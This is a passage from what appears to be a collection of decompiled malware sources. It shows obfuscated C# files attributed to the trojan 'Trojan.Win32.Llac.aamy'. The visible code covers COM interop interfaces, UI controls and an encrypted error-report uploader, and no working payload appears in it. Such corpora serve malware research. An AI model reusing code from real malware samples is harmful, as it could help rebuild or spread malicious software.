+      [MethodImpl(MethodImplOptions.PreserveSig)]
+      int \u0001();
+
+      [MethodImpl(MethodImplOptions.PreserveSig)]
+      int \u0001(IntPtr szDisplayName, ref uint pccDisplayName, uint dwDisplayFlags);
+
+      [MethodImpl(MethodImplOptions.PreserveSig)]
+      int \u0001(
+        object refIID,
+        object pAsmBindSink,
+        \u0005.\u0004 pApplicationContext,
+        [MarshalAs(UnmanagedType.LPWStr)] string szCodeBase,
+        long llFlags,
+        int pvReserved,
+        uint cbReserved,
+        out int ppv);
+
+      [MethodImpl(MethodImplOptions.PreserveSig)]
+      int \u0001(out uint lpcwBuffer, out int pwzName);
+
+      [MethodImpl(MethodImplOptions.PreserveSig)]
+      int \u0001(out uint pdwVersionHi, out uint pdwVersionLow);
+
+      [MethodImpl(MethodImplOptions.PreserveSig)]
+      int \u0001(\u0005.\u0005 pName, uint dwCmpFlags);
+
+      [MethodImpl(MethodImplOptions.PreserveSig)]
+      int \u0001(out \u0005.\u0005 pName);
+    }
+
+    [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
+    [Guid("9e3aaeb4-d1cd-11d2-bab9-00c04f8eceae")]
+    [ComImport]
+    internal interface \u0006
+    {
+      void \u0001(
+        [MarshalAs(UnmanagedType.LPWStr)] string pszName,
+        uint dwFormat,
+        uint dwFlags,
+        uint dwMaxSize,
+        out \u0005.\u0003 ppStream);
+
+      void \u0002(\u0005.\u0005 pName);
+
+      void \u0001(uint dwFlags);
+
+      void \u0002(uint dwFlags);
+    }
+
+    [Guid("e707dcde-d1cd-11d2-bab9-00c04f8eceae")]
+    [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
+    [ComImport]
+    internal interface \u0007
+    {
+      [MethodImpl(MethodImplOptions.PreserveSig)]
+      int \u0001(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, IntPtr pvReserved, out uint pulDisposition);
+
+      [MethodImpl(MethodImplOptions.PreserveSig)]
+      int \u0001(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, IntPtr pAsmInfo);
+
+      [MethodImpl(MethodImplOptions.PreserveSig)]
+      int \u0001(
+        uint dwFlags,
+        IntPtr pvReserved,
+        out \u0005.\u0006 ppAsmItem,
+        [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName);
+
+      [MethodImpl(MethodImplOptions.PreserveSig)]
+      int \u0001(out object ppAsmScavenger);
+
+      [MethodImpl(MethodImplOptions.PreserveSig)]
+      int \u0002(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszManifestFilePath, IntPtr pvReserved);
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0002/Token2000045.cs

@@ -0,0 +1,12 @@
+// Decompiled with JetBrains decompiler
+// Type: .Token2000045
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+namespace \u0002
+{
+  internal class Token2000045 : \u0024Unresolved\u0024Token\u003A2003FFF
+  {
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0002/_0001.cs

@@ -0,0 +1,44 @@
+// Decompiled with JetBrains decompiler
+// Type: .

+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using \u0001;
+using SmartAssembly.SmartExceptionsCore;
+using System;
+
+namespace \u0002
+{
+  internal sealed class \u0001
+  {
+    public static void \u0003()
+    {
+      try
+      {
+        try
+        {
+          \u0004.\u0003();
+        }
+        catch (Exception ex)
+        {
+        }
+      }
+      catch (Exception ex)
+      {
+        throw UnhandledException.\u0003(ex);
+      }
+    }
+
+    public \u0001()
+    {
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        throw UnhandledException.\u0003(ex, (object) this);
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0002/_0003.cs

@@ -0,0 +1,57 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using \u0002;
+using System.Runtime.InteropServices;
+
+namespace \u0002
+{
+  internal sealed class \u0003
+  {
+    internal static long \u0001;
+    internal static long \u0002;
+    internal static \u0003.\u0001 \u0001;
+    internal static \u0003.\u0002 \u0001;
+    internal static \u0003.\u0002 \u0002;
+    internal static \u0003.\u0003 \u0001;
+    internal static \u0003.\u0003 \u0002;
+    internal static \u0003.\u0004 \u0001;
+    internal static \u0003.\u0004 \u0002;
+    internal static \u0003.\u0005 \u0001;
+    internal static \u0003.\u0005 \u0002;
+    internal static \u0003.\u0006 \u0001;
+
+    [StructLayout(LayoutKind.Explicit, Size = 1024, Pack = 1)]
+    private struct \u0001
+    {
+    }
+
+    [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)]
+    private struct \u0002
+    {
+    }
+
+    [StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)]
+    private struct \u0003
+    {
+    }
+
+    [StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)]
+    private struct \u0004
+    {
+    }
+
+    [StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)]
+    private struct \u0005
+    {
+    }
+
+    [StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)]
+    private struct \u0006
+    {
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0002/_0004.cs

@@ -0,0 +1,16 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+namespace \u0002
+{
+  internal enum \u0004
+  {
+    \u0001 = 1,
+    \u0002 = 2,
+    \u0003 = 3,
+    \u0004 = 4,
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0002/_0005.cs

@@ -0,0 +1,58 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using \u0005;
+using System;
+using System.Drawing;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace \u0002
+{
+  internal sealed class \u0005 : Label
+  {
+    private void \u0003()
+    {
+      try
+      {
+        using (Graphics graphics = this.CreateGraphics())
+        {
+          int num = \u0002.\u0003(graphics, this.Text, this.Font, this.Width);
+          if (num <= 0)
+            return;
+          this.Height = num;
+        }
+      }
+      catch
+      {
+      }
+    }
+
+    protected override void OnFontChanged([In] EventArgs obj0)
+    {
+      base.OnFontChanged(obj0);
+      this.\u0003();
+    }
+
+    protected override void OnResize([In] EventArgs obj0)
+    {
+      base.OnResize(obj0);
+      this.\u0003();
+    }
+
+    protected override void OnTextChanged([In] EventArgs obj0)
+    {
+      base.OnTextChanged(obj0);
+      this.\u0003();
+    }
+
+    public \u0005()
+    {
+      this.FlatStyle = FlatStyle.System;
+      this.UseMnemonic = false;
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0003/Token2000046.cs

@@ -0,0 +1,12 @@
+// Decompiled with JetBrains decompiler
+// Type: .Token2000046
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+namespace \u0003
+{
+  internal class Token2000046 : \u0024Unresolved\u0024Token\u003A2003FFF
+  {
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0003/_0001.cs

@@ -0,0 +1,97 @@
+// Decompiled with JetBrains decompiler
+// Type: .

+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using System;
+using System.Drawing;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace \u0003
+{
+  internal sealed class \u0001 : Control
+  {
+    private int \u0001 = 99;
+    private Bitmap \u0001 = \u0005.\u0005.\u0003("data");
+    private Bitmap \u0002 = \u0005.\u0005.\u0003("network");
+    private Timer \u0001 = new Timer();
+    private float \u0001 = 1f;
+    private float \u0002 = 1f;
+
+    protected override void OnVisibleChanged([In] EventArgs obj0)
+    {
+      base.OnVisibleChanged(obj0);
+      if (this.DesignMode)
+        return;
+      this.\u0003(this.Visible);
+    }
+
+    private void \u0003([In] bool obj0)
+    {
+      this.\u0001.Enabled = obj0;
+      this.\u0001 = 0;
+      this.Refresh();
+    }
+
+    protected override void OnResize([In] EventArgs obj0)
+    {
+      this.Size = new Size(Convert.ToInt32(250f * this.\u0001), Convert.ToInt32(42f * this.\u0002));
+      base.OnResize(obj0);
+    }
+
+    protected override void ScaleCore([In] float obj0, [In] float obj1)
+    {
+      this.\u0001 = obj0;
+      this.\u0002 = obj1;
+      base.ScaleCore(obj0, obj1);
+      this.OnResize(EventArgs.Empty);
+    }
+
+    protected override void Dispose([In] bool obj0)
+    {
+      if (obj0 && this.\u0001 != null)
+        goto label_2;
+label_1:
+      base.Dispose(obj0);
+      return;
+label_2:
+      this.\u0001.Dispose();
+      goto label_1;
+    }
+
+    protected override void OnPaint([In] PaintEventArgs obj0)
+    {
+      base.OnPaint(obj0);
+      if (this.\u0002 != null)
+        obj0.Graphics.DrawImage((Image) this.\u0002, new Rectangle(0, 0, Convert.ToInt32(250f * this.\u0001), Convert.ToInt32(42f * this.\u0002)), new Rectangle(0, 0, 250, 42), GraphicsUnit.Pixel);
+      if (this.\u0001 == null || this.\u0001 <= 0)
+        return;
+      obj0.Graphics.SetClip(new Rectangle(Convert.ToInt32(46f * this.\u0001), 0, Convert.ToInt32(165f * this.\u0001), Convert.ToInt32(34f * this.\u0002)));
+      obj0.Graphics.DrawImage((Image) this.\u0001, new Rectangle(Convert.ToInt32((float) (this.\u0001 - 6) * this.\u0001), Convert.ToInt32(16f * this.\u0002), Convert.ToInt32(40f * this.\u0001), Convert.ToInt32(12f * this.\u0002)), 0, 0, 40, 12, GraphicsUnit.Pixel);
+    }
+
+    private void \u0003([In] object obj0, [In] EventArgs obj1)
+    {
+      this.\u0001 += 11;
+      if (this.\u0001 > 198)
+        goto label_2;
+label_1:
+      this.Refresh();
+      return;
+label_2:
+      this.\u0001 = 0;
+      goto label_1;
+    }
+
+    public \u0001()
+    {
+      this.\u0001.Interval = 85;
+      this.\u0001.Tick += new EventHandler(this.\u0003);
+      this.Size = new Size(250, 42);
+      this.TabStop = false;
+      this.SetStyle(ControlStyles.UserPaint | ControlStyles.ResizeRedraw | ControlStyles.SupportsTransparentBackColor | ControlStyles.AllPaintingInWmPaint | ControlStyles.DoubleBuffer, true);
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0003/_0002.cs

@@ -0,0 +1,79 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using \u0003;
+using System;
+using System.IO;
+using System.Runtime.InteropServices;
+using System.Security.Cryptography;
+
+namespace \u0003
+{
+  internal sealed class \u0002
+  {
+    public static string \u0001;
+
+    public static byte[] \u0003([In] byte[] obj0, [In] string obj1)
+    {
+      if (obj1.StartsWith("{"))
+      {
+        \u0002.\u0001 = "ERR 2006: This template was not properly processed by {smartassembly}";
+        return (byte[]) null;
+      }
+      try
+      {
+        RijndaelManaged rijndaelManaged = new RijndaelManaged();
+        RSACryptoServiceProvider cryptoServiceProvider = new RSACryptoServiceProvider();
+        cryptoServiceProvider.FromXmlString(obj1);
+        rijndaelManaged.GenerateKey();
+        rijndaelManaged.GenerateIV();
+        byte[] numArray1 = new byte[48];
+        Buffer.BlockCopy((Array) rijndaelManaged.Key, 0, (Array) numArray1, 0, 32);
+        Buffer.BlockCopy((Array) rijndaelManaged.IV, 0, (Array) numArray1, 32, 16);
+        MemoryStream memoryStream = new MemoryStream();
+        try
+        {
+          byte[] buffer = cryptoServiceProvider.Encrypt(numArray1, false);
+          memoryStream.WriteByte((byte) 1);
+          memoryStream.WriteByte(Convert.ToByte(buffer.Length / 8));
+          memoryStream.Write(buffer, 0, buffer.Length);
+        }
+        catch (CryptographicException ex1)
+        {
+          try
+          {
+            byte[] numArray2 = new byte[16];
+            byte[] numArray3 = new byte[16];
+            Buffer.BlockCopy((Array) rijndaelManaged.Key, 0, (Array) numArray2, 0, 16);
+            Buffer.BlockCopy((Array) rijndaelManaged.Key, 16, (Array) numArray3, 0, 16);
+            byte[] buffer1 = cryptoServiceProvider.Encrypt(numArray2, false);
+            byte[] buffer2 = cryptoServiceProvider.Encrypt(numArray3, false);
+            byte[] buffer3 = cryptoServiceProvider.Encrypt(rijndaelManaged.IV, false);
+            memoryStream.WriteByte((byte) 2);
+            memoryStream.WriteByte(Convert.ToByte(buffer1.Length / 8));
+            memoryStream.Write(buffer1, 0, buffer1.Length);
+            memoryStream.Write(buffer2, 0, buffer2.Length);
+            memoryStream.Write(buffer3, 0, buffer3.Length);
+          }
+          catch (CryptographicException ex2)
+          {
+            \u0002.\u0001 = "ERR 2005: The 128-bit encryption is not available on this computer. You need to install the High Encryption Pack in order to use the reporting feature.";
+            return (byte[]) null;
+          }
+        }
+        CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write);
+        cryptoStream.Write(obj0, 0, obj0.Length);
+        cryptoStream.FlushFinalBlock();
+        return memoryStream.ToArray();
+      }
+      catch (Exception ex)
+      {
+        \u0002.\u0001 = "ERR 2004: " + ex.Message;
+        return (byte[]) null;
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0003/_0004.cs

@@ -0,0 +1,156 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using \u0005;
+using System;
+using System.Drawing;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace \u0003
+{
+  internal sealed class \u0004 : Control
+  {
+    private Label \u0001 = new Label();
+    private Image \u0001;
+    private Icon \u0001;
+    private Bitmap \u0001;
+    private \u0004 \u0001;
+    private float \u0001 = 1f;
+    private float \u0002 = 1f;
+
+    [SpecialName]
+    public void \u0003([In] \u0004 obj0)
+    {
+      if (this.\u0001 == obj0)
+        return;
+      this.\u0001 = obj0;
+      switch (this.\u0001)
+      {
+        case \u0004.\u0002:
+          this.\u0001 = \u0005.\u0005.\u0003("error16");
+          break;
+        case \u0004.\u0003:
+          this.\u0001 = \u0005.\u0005.\u0003("warning16");
+          break;
+        default:
+          this.\u0001 = (Bitmap) null;
+          break;
+      }
+      this.Refresh();
+    }
+
+    [SpecialName]
+    public override string get_Text() => this.\u0001.Text;
+
+    [SpecialName]
+    public override void set_Text([In] string obj0) => this.\u0001.Text = obj0;
+
+    protected override void Dispose([In] bool obj0)
+    {
+      if (obj0)
+        goto label_6;
+label_5:
+      base.Dispose(obj0);
+      return;
+label_6:
+      if (this.\u0001 != null)
+        goto label_7;
+label_1:
+      if (this.\u0001 != null)
+      {
+        this.\u0001.Dispose();
+        this.\u0001 = (Image) null;
+      }
+      if (this.\u0001 != null)
+      {
+        this.\u0001.Dispose();
+        this.\u0001 = (Bitmap) null;
+        goto label_5;
+      }
+      else
+        goto label_5;
+label_7:
+      this.\u0001.Dispose();
+      this.\u0001 = (Icon) null;
+      goto label_1;
+    }
+
+    protected override void OnResize([In] EventArgs obj0)
+    {
+      this.\u0001.SetBounds(Convert.ToInt32(13f * this.\u0001), Convert.ToInt32(15f * this.\u0002), this.Width - Convert.ToInt32(69f * this.\u0001), this.Height - Convert.ToInt32(18f * this.\u0002));
+      base.OnResize(obj0);
+    }
+
+    protected override void ScaleCore([In] float obj0, [In] float obj1)
+    {
+      this.\u0001 = obj0;
+      this.\u0002 = obj1;
+      base.ScaleCore(obj0, obj1);
+      this.OnResize(EventArgs.Empty);
+    }
+
+    protected override void OnPaint([In] PaintEventArgs obj0)
+    {
+      base.OnPaint(obj0);
+      obj0.Graphics.DrawLine(SystemPens.ControlDark, 0, this.ClientSize.Height - 2, this.ClientSize.Width, this.ClientSize.Height - 2);
+      obj0.Graphics.DrawLine(SystemPens.ControlLightLight, 0, this.ClientSize.Height - 1, this.ClientSize.Width, this.ClientSize.Height - 1);
+      Rectangle rectangle = new Rectangle(this.ClientSize.Width - Convert.ToInt32(48f * this.\u0001), Convert.ToInt32(11f * this.\u0002), Convert.ToInt32(32f * this.\u0001), Convert.ToInt32(32f * this.\u0002));
+      if (this.\u0001 != null)
+      {
+        obj0.Graphics.DrawImage(this.\u0001, rectangle, new Rectangle(0, 0, 32, 32), GraphicsUnit.Pixel);
+      }
+      else
+      {
+        if (this.\u0001 == null)
+          return;
+        obj0.Graphics.DrawIcon(this.\u0001, rectangle);
+        if (this.\u0001 == null)
+          return;
+        obj0.Graphics.DrawImage((Image) this.\u0001, new Rectangle(rectangle.Right - Convert.ToInt32(12f * this.\u0001), rectangle.Bottom - Convert.ToInt32(12f * this.\u0002), Convert.ToInt32(16f * this.\u0001), Convert.ToInt32(16f * this.\u0002)), new Rectangle(0, 0, 16, 16), GraphicsUnit.Pixel);
+      }
+    }
+
+    protected override void OnFontChanged([In] EventArgs obj0)
+    {
+      try
+      {
+        this.\u0001.Font = new Font(this.Font, FontStyle.Bold);
+        base.OnFontChanged(obj0);
+      }
+      catch
+      {
+      }
+    }
+
+    public \u0004()
+    {
+      try
+      {
+        this.\u0001.FlatStyle = FlatStyle.System;
+        this.\u0001.Font = new Font(this.Font, FontStyle.Bold);
+      }
+      catch
+      {
+      }
+      this.Controls.Add((Control) this.\u0001);
+      this.BackColor = SystemColors.Window;
+      this.TabStop = false;
+      this.Dock = DockStyle.Top;
+      this.Height = 58;
+      this.SetStyle(ControlStyles.UserPaint | ControlStyles.ResizeRedraw | ControlStyles.SupportsTransparentBackColor | ControlStyles.AllPaintingInWmPaint | ControlStyles.DoubleBuffer, true);
+      this.\u0001 = \u0002.\u0003();
+      this.OnResize(EventArgs.Empty);
+    }
+
+    public \u0004([In] string obj0)
+      : this()
+    {
+      this.\u0001.Text = obj0;
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0003/_0005.cs

@@ -0,0 +1,12 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using \u0004;
+
+namespace \u0003
+{
+  internal delegate void \u0005(object sender, \u0001 e);
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0004/Token2000047.cs

@@ -0,0 +1,12 @@
+// Decompiled with JetBrains decompiler
+// Type: .Token2000047
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+namespace \u0004
+{
+  internal class Token2000047 : \u0024Unresolved\u0024Token\u003A2003FFF
+  {
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0004/_0001.cs

@@ -0,0 +1,45 @@
+// Decompiled with JetBrains decompiler
+// Type: .

+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using \u0002;
+using System;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace \u0004
+{
+  internal sealed class \u0001 : EventArgs
+  {
+    private \u0004 \u0001;
+    private bool \u0001;
+    private string \u0001 = string.Empty;
+    private string \u0002 = string.Empty;
+
+    [SpecialName]
+    public \u0004 \u0003() => this.\u0001;
+
+    [SpecialName]
+    public bool \u0003() => this.\u0001;
+
+    [SpecialName]
+    public string \u0003() => this.\u0001;
+
+    [SpecialName]
+    public void \u0003([In] string obj0) => this.\u0002 = obj0;
+
+    internal \u0001([In] \u0004 obj0)
+      : this(obj0, string.Empty)
+    {
+    }
+
+    internal \u0001([In] \u0004 obj0, [In] string obj1)
+    {
+      this.\u0001 = obj0;
+      this.\u0001 = obj1 != null && obj1.Length > 0;
+      this.\u0001 = obj1;
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0004/_0002.cs

@@ -0,0 +1,54 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using System;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Security;
+
+namespace \u0004
+{
+  internal sealed class \u0002 : EventArgs
+  {
+    private SecurityException \u0001;
+    private string \u0001 = string.Empty;
+    private bool \u0001;
+    private bool \u0002;
+    private bool \u0003 = true;
+
+    [SpecialName]
+    public SecurityException \u0003() => this.\u0001;
+
+    [SpecialName]
+    public string \u0003() => this.\u0001;
+
+    [SpecialName]
+    public bool \u0003() => this.\u0003;
+
+    [SpecialName]
+    public bool \u0004() => this.\u0001;
+
+    [SpecialName]
+    public void \u0003([In] bool obj0) => this.\u0001 = obj0;
+
+    [SpecialName]
+    public bool \u0005() => this.\u0002;
+
+    public \u0002([In] SecurityException obj0) => this.\u0001 = obj0;
+
+    public \u0002([In] SecurityException obj0, [In] bool obj1)
+      : this(obj0)
+    {
+      this.\u0003 = obj1;
+    }
+
+    public \u0002([In] string obj0, [In] bool obj1)
+      : this(new SecurityException(obj0), obj1)
+    {
+      this.\u0001 = obj0;
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0004/_0003.cs

@@ -0,0 +1,22 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using System;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace \u0004
+{
+  internal sealed class \u0003 : EventArgs
+  {
+    private Exception \u0001;
+
+    [SpecialName]
+    public Exception \u0003() => this.\u0001;
+
+    internal \u0003([In] Exception obj0) => this.\u0001 = obj0;
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0004/_0004.cs

@@ -0,0 +1,57 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using SmartAssembly.SmartExceptionsCore;
+using System;
+using System.Net;
+using System.Runtime.InteropServices;
+
+namespace \u0004
+{
+  internal sealed class \u0004
+  {
+    private string \u0001;
+    private string \u0002 = string.Empty;
+    private IWebProxy \u0001;
+
+    public void \u0003([In] IWebProxy obj0) => this.\u0001 = obj0;
+
+    public string \u0003()
+    {
+      try
+      {
+        UploadReportLoginService reportLoginService = new UploadReportLoginService();
+        if (this.\u0001 != null)
+          reportLoginService.Proxy = this.\u0001;
+        this.\u0002 = reportLoginService.GetServerURL(this.\u0001);
+        if (this.\u0002.Length == 0)
+          throw new ApplicationException("Cannot connect to webservice");
+        return this.\u0002.StartsWith("ERR") ? this.\u0002 : "OK";
+      }
+      catch (Exception ex)
+      {
+        return "ERR 2001: " + ex.Message;
+      }
+    }
+
+    public string \u0003([In] byte[] obj0)
+    {
+      try
+      {
+        ReportingService reportingService = new ReportingService(this.\u0002);
+        if (this.\u0001 != null)
+          reportingService.Proxy = this.\u0001;
+        return reportingService.UploadReport2(this.\u0001, obj0);
+      }
+      catch (Exception ex)
+      {
+        return "ERR 2002: " + ex.Message;
+      }
+    }
+
+    public \u0004([In] string obj0) => this.\u0001 = obj0;
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0004/_0005.cs

@@ -0,0 +1,132 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using System;
+using System.Drawing;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace \u0004
+{
+  internal sealed class \u0005 : Control
+  {
+    private Label \u0001 = new Label();
+    private Image \u0001;
+    private bool \u0001;
+    private Timer \u0001 = new Timer();
+    private bool \u0002 = true;
+    private string \u0001 = string.Empty;
+    private float \u0001 = 1f;
+    private float \u0002 = 1f;
+
+    [SpecialName]
+    public override string get_Text() => base.Text;
+
+    [SpecialName]
+    public override void set_Text([In] string obj0)
+    {
+      base.Text = obj0;
+      this.Refresh();
+    }
+
+    public void \u0003()
+    {
+      this.\u0001.Enabled = false;
+      this.\u0001 = (Image) null;
+      this.\u0001 = false;
+      this.\u0001 = string.Empty;
+      this.Refresh();
+      this.Height = 16;
+    }
+
+    public void \u0004()
+    {
+      this.\u0001.Enabled = true;
